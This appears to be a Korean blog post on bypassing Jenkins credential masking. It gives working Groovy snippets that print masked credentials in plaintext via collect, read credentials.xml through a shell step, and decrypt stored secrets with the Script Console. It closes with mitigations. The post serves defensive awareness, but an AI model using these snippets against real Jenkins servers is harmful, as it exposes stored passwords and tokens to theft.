Jenkins 내에서는 중요 정보를 관리해주는 Credential Management 기능이 존재합니다.
여기에 저장된 데이터들을 Jenkins Job에 가져다 쓸 경우, 혹시나 Build Log에 유출될 수 있는 민감정보를 마스킹 처리해서 보여줍니다. 또한 Jenkins 내부에 암호화되어 저장되기 때문에 일반적으로는 안전한 것처럼 보일 수 있습니다.
하지만 공격자에게 Job을 생성 후 실행할 권한 혹은 그 이상의 권한이 있다면 몇 가지의 방법으로 이를 우회해 저장되어 있는 Credential을 알아낼 수 있습니다.
이번에는 그 우회할 수 있는 방법과 해결방안에 대해 알아보도록 하겠습니다.
1) Jenkins Docker 이미지를 사용해 Jenkins 설치
> docker run -p 8080:8080 -p 50000:50000 -v jenkins_home:/var/jenkins_home jenkins/jenkins:lts
2) docker 기본 설정 후 Credential 생성
3) Credential을 Jenkins PipeLine에서 사용(일반적)
groovy script
withCredentials([usernamePassword(credentialsId: 'account_admin', passwordVariable: 'admin_pw', usernameVariable: 'admin_id')]) {
// some block
print 'id :' + admin_id
print 'pw :' + admin_pw
}
4) Build Log에 마스킹 되어있는 것 확인
1) Jenkins Job(Pipeline) 생성 후 pipeline에 아래 groovy script 입력 후 저장
Groovy Script
withCredentials([usernamePassword(credentialsId: 'account_admin', passwordVariable: 'admin_pw', usernameVariable: 'admin_id')]) {
print 'id : ' + admin_id + 'pw : ' + admin_pw
print 'admin_id.collect { it } =' + admin_id.collect { it }
print 'admin_pw.collect { it } =' + admin_pw.collect { it }
}
2) Job Build 실행 후 Console Output 확인
job 이름이 jenkins_credential_jop으로 되어있는건 다시 스크린샷 찍기 귀찮아서 그냥.. 올렸습니다
groovy script 에서 string.collect { var } 하게 되면 string 값들을 배열 형태로 출력해 주는데 여기서 credential의 마스킹 처리가 풀리면서 그대로 console output에 credential이 평문으로 노출됨
1) Jenkins Job(Pipeline) 생성 후 pipeline에 아래 groovy script 입력 후 저장
Groovy Script
pipeline{
agent any
stages {
stage('list credentials ids') {
steps {
script {
sh 'cat $JENKINS_HOME/credentials.xml | grep "<id>"'
}
}
}
}
}
2) Job Build 실행 후 Console Output 확인
System Credential vs Global Credential
System Credential : Jenkins Plug-in 환경 설정 등에서만 접근 가능한 Credential, Jenkins Job에서는 접근 불가
Global Credential : Jenkins Plug-in 환경 설정 및 Jenkins Job에서 접근 가능한 Credential
즉, System Credential은 Jenkins Job에서 접근이 불가하기 때문에 획득하려면 다른 방법이 필요하다!
1) Jenkins > Credentials > Update > change password 클릭
아래와 같이 패스워드가 마스킹 처리되는 것을 볼 수 있다
Jenkins는 한번 저장한 Credential 정보를 다시 보여주지 않는다
2) 개발자 도구(F12)를 이용해 AES 방식으로 암호화된 암호문 획득
예제 : AQAAABAAAAAQy51W6BsZpM/KaF1aFlgrVCwtBvFiJKVfVo9E/nNIQt0=
3) Jenkins Script Console 이용해 AES 복호화 (https://jenkins_domain/script)
스크립트 콘솔에서는 Jenkins 서버 안에 있는 AES 암호화 키를 이용할 수 있기 때문에 복호화가 가능하다
Groovy Script
println hudson.util.Secret.decrypt("{암호문}")
위와 같이 암호화 해독이 가능하긴 하지만 위 방법이 성공하려면 아래 두 가지 조건을 만족해야 한다.
1) 스크립트 콘솔에 접근하기 위한 관리자 권한
2) Credential에 대한 Update 권한
위 두가지가 충족된다는 건 이미 다 털렸다는 걸 의미한다고 볼 수 있기 때문에 발생 가능성이 좀 낮다고 볼 수 있다.
Jenkins 권한 관리만 잘 이루어진다면 성립이 어려운 방법이라는 생각이 든다.
1) Vault, AWS Secrets Manager와 같은 Third Party Credential Management Tool을 쓴뒤 Jenkins 에 있는 Plug-in으로 가져다 쓴다
2) 권한 관리를 잘한다
https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials